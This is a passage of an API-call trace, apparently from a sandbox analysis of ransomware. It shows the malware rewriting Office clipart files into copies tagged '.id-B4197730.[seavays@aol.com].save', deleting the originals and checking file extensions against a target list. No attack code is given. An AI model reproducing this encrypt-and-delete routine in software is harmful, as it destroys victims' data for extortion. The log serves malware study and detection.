lpOverlapped=0x0) returned 1 [0075.786] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x8c0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x8c0, lpOverlapped=0x0) returned 1 [0075.787] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0075.787] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0075.787] SetEndOfFile (hFile=0x2f4) returned 1 [0075.787] CloseHandle (hObject=0x2f4) returned 1 [0075.787] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.787] SetEndOfFile (hFile=0x2f8) returned 1 [0075.788] CloseHandle (hObject=0x2f8) returned 1 [0075.788] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0075.788] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00231_.wmf")) returned 1 [0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0075.789] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0075.789] lstrlenW (lpString=".doc") returned 4 [0075.789] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0075.789] lstrlenW (lpString=".docx") returned 5 [0075.789] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0075.789] lstrlenW (lpString=".pdf") returned 4 [0075.789] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0075.789] lstrlenW (lpString=".xls") returned 4 [0075.789] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0075.789] lstrlenW (lpString=".xlsx") returned 5 [0075.789] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0075.790] lstrlenW (lpString=".ppt") returned 4 [0075.790] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0075.790] lstrlenW (lpString=".zip") returned 4 [0075.790] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0075.790] lstrlenW (lpString=".rar") returned 4 [0075.790] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0075.790] lstrlenW (lpString=".bz2") returned 4 [0075.790] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0075.790] lstrlenW (lpString=".7z") returned 3 [0075.790] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0075.790] lstrlenW (lpString=".dbf") returned 4 [0075.790] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0075.790] lstrlenW (lpString=".1cd") returned 4 [0075.790] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0075.790] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00231_.WMF") returned 68 [0075.790] lstrlenW (lpString=".jpg") returned 4 [0075.790] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0075.791] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.791] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0075.791] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0075.792] GetLastError () returned 0x0 [0075.792] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x402, lpOverlapped=0x0) returned 1 [0076.209] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x410, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x410, lpOverlapped=0x0) returned 1 [0076.210] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.211] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.211] SetEndOfFile (hFile=0x2f4) returned 1 [0076.211] CloseHandle (hObject=0x2f4) returned 1 [0076.211] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.211] SetEndOfFile (hFile=0x2f8) returned 1 [0076.212] CloseHandle (hObject=0x2f8) returned 1 [0076.212] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.213] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00235_.wmf")) returned 1 [0076.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0076.213] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0076.213] lstrlenW (lpString=".doc") returned 4 [0076.213] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.213] lstrlenW (lpString=".docx") returned 5 [0076.213] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.214] lstrlenW (lpString=".pdf") returned 4 [0076.214] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.214] lstrlenW (lpString=".xls") returned 4 [0076.214] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.214] lstrlenW (lpString=".xlsx") returned 5 [0076.214] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.214] lstrlenW (lpString=".ppt") returned 4 [0076.214] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0076.214] lstrlenW (lpString=".zip") returned 4 [0076.214] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.214] lstrlenW (lpString=".rar") returned 4 [0076.214] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.214] lstrlenW (lpString=".bz2") returned 4 [0076.214] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.214] lstrlenW (lpString=".7z") returned 3 [0076.214] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0076.214] lstrlenW (lpString=".dbf") returned 4 [0076.214] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0076.214] lstrlenW (lpString=".1cd") returned 4 [0076.214] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.214] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00235_.WMF") returned 68 [0076.214] lstrlenW (lpString=".jpg") returned 4 [0076.214] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.218] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.218] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.218] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.219] GetLastError () returned 0x0 [0076.219] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x578, lpOverlapped=0x0) returned 1 [0076.221] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x580, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x580, lpOverlapped=0x0) returned 1 [0076.222] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.222] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.222] SetEndOfFile (hFile=0x2f4) returned 1 [0076.223] CloseHandle (hObject=0x2f4) returned 1 [0076.223] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.223] SetEndOfFile (hFile=0x2f8) returned 1 [0076.224] CloseHandle (hObject=0x2f8) returned 1 [0076.224] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.224] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00602_.wmf")) returned 1 [0076.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0076.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0076.225] lstrlenW (lpString=".doc") returned 4 [0076.225] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.225] lstrlenW (lpString=".docx") returned 5 [0076.225] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.225] lstrlenW (lpString=".pdf") returned 4 [0076.225] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.225] lstrlenW (lpString=".xls") returned 4 [0076.225] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.225] lstrlenW (lpString=".xlsx") returned 5 [0076.225] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.225] lstrlenW (lpString=".ppt") returned 4 [0076.225] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.225] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0076.225] lstrlenW (lpString=".zip") returned 4 [0076.225] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.226] lstrlenW (lpString=".rar") returned 4 [0076.226] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.226] lstrlenW (lpString=".bz2") returned 4 [0076.226] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.226] lstrlenW (lpString=".7z") returned 3 [0076.226] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0076.226] lstrlenW (lpString=".dbf") returned 4 [0076.226] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0076.226] lstrlenW (lpString=".1cd") returned 4 [0076.226] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.226] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00602_.WMF") returned 68 [0076.226] lstrlenW (lpString=".jpg") returned 4 [0076.226] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.227] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.228] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.228] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.228] GetLastError () returned 0x0 [0076.228] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x3158, lpOverlapped=0x0) returned 1 [0076.231] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x3160, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x3160, lpOverlapped=0x0) returned 1 [0076.237] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.237] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.237] SetEndOfFile (hFile=0x2f4) returned 1 [0076.237] CloseHandle (hObject=0x2f4) returned 1 [0076.238] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.238] SetEndOfFile (hFile=0x2f8) returned 1 [0076.239] CloseHandle (hObject=0x2f8) returned 1 [0076.239] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0076.239] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00612_.wmf")) returned 1 [0076.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0076.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0076.240] lstrlenW (lpString=".doc") returned 4 [0076.240] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0076.240] lstrlenW (lpString=".docx") returned 5 [0076.240] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0076.240] lstrlenW (lpString=".pdf") returned 4 [0076.240] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0076.240] lstrlenW (lpString=".xls") returned 4 [0076.240] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0076.240] lstrlenW (lpString=".xlsx") returned 5 [0076.240] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0076.240] lstrlenW (lpString=".ppt") returned 4 [0076.240] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0076.240] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0076.240] lstrlenW (lpString=".zip") returned 4 [0076.241] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0076.241] lstrlenW (lpString=".rar") returned 4 [0076.241] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0076.241] lstrlenW (lpString=".bz2") returned 4 [0076.241] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0076.241] lstrlenW (lpString=".7z") returned 3 [0076.241] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0076.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0076.241] lstrlenW (lpString=".dbf") returned 4 [0076.241] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0076.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0076.241] lstrlenW (lpString=".1cd") returned 4 [0076.241] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0076.241] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00612_.WMF") returned 68 [0076.241] lstrlenW (lpString=".jpg") returned 4 [0076.241] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0076.242] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.242] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0076.242] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4 [0076.242] GetLastError () returned 0x0 [0076.243] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x2994, lpOverlapped=0x0) returned 1 [0076.244] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0x29a0, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0x29a0, lpOverlapped=0x0) returned 1 [0076.246] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0076.246] WriteFile (in: hFile=0x2f4, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0076.246] SetEndOfFile (hFile=0x2f4) returned 1 [0076.729] CloseHandle (hObject=0x2f4) returned 1 [0077.100] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.100] SetEndOfFile (hFile=0x2f8) returned 1 [0077.162] CloseHandle (hObject=0x2f8) returned 1 [0077.162] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.180] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh00623_.wmf")) returned 1 [0077.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0077.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0077.181] lstrlenW (lpString=".doc") returned 4 [0077.181] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.181] lstrlenW (lpString=".docx") returned 5 [0077.181] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0077.181] lstrlenW (lpString=".pdf") returned 4 [0077.181] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0077.181] lstrlenW (lpString=".xls") returned 4 [0077.181] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0077.181] lstrlenW (lpString=".xlsx") returned 5 [0077.181] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0077.181] lstrlenW (lpString=".ppt") returned 4 [0077.181] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0077.181] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0077.182] lstrlenW (lpString=".zip") returned 4 [0077.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0077.182] lstrlenW (lpString=".rar") returned 4 [0077.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0077.182] lstrlenW (lpString=".bz2") returned 4 [0077.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0077.182] lstrlenW (lpString=".7z") returned 3 [0077.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0077.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0077.182] lstrlenW (lpString=".dbf") returned 4 [0077.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0077.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0077.182] lstrlenW (lpString=".1cd") returned 4 [0077.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0077.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00623_.WMF") returned 68 [0077.182] lstrlenW (lpString=".jpg") returned 4 [0077.182] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0077.183] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.183] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.183] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0077.184] GetLastError () returned 0x0 [0077.184] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0xa38, lpOverlapped=0x0) returned 1 [0077.186] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xa40, lpOverlapped=0x0) returned 1 [0077.187] ReadFile (in: hFile=0x2f8, lpBuffer=0x3f2d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x350fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesRead=0x350fecc*=0x0, lpOverlapped=0x0) returned 1 [0077.187] WriteFile (in: hFile=0x394, lpBuffer=0x3f2d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x350fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f2d020*, lpNumberOfBytesWritten=0x350fc94*=0xec, lpOverlapped=0x0) returned 1 [0077.188] SetEndOfFile (hFile=0x394) returned 1 [0077.188] CloseHandle (hObject=0x394) returned 1 [0077.188] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x350fec0 | out: lpNewFilePointer=0x0) returned 1 [0077.188] SetEndOfFile (hFile=0x2f8) returned 1 [0077.189] CloseHandle (hObject=0x2f8) returned 1 [0077.189] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0077.189] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01875_.wmf")) returned 1 [0077.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0077.190] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01875_.WMF") returned 68 [0077.190] lstrlenW (lpString=".doc") returned 4 [0077.190] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0077.190] lstrlenW (lpString=".docx") returned 5 [0077.190] lstrcmpiW 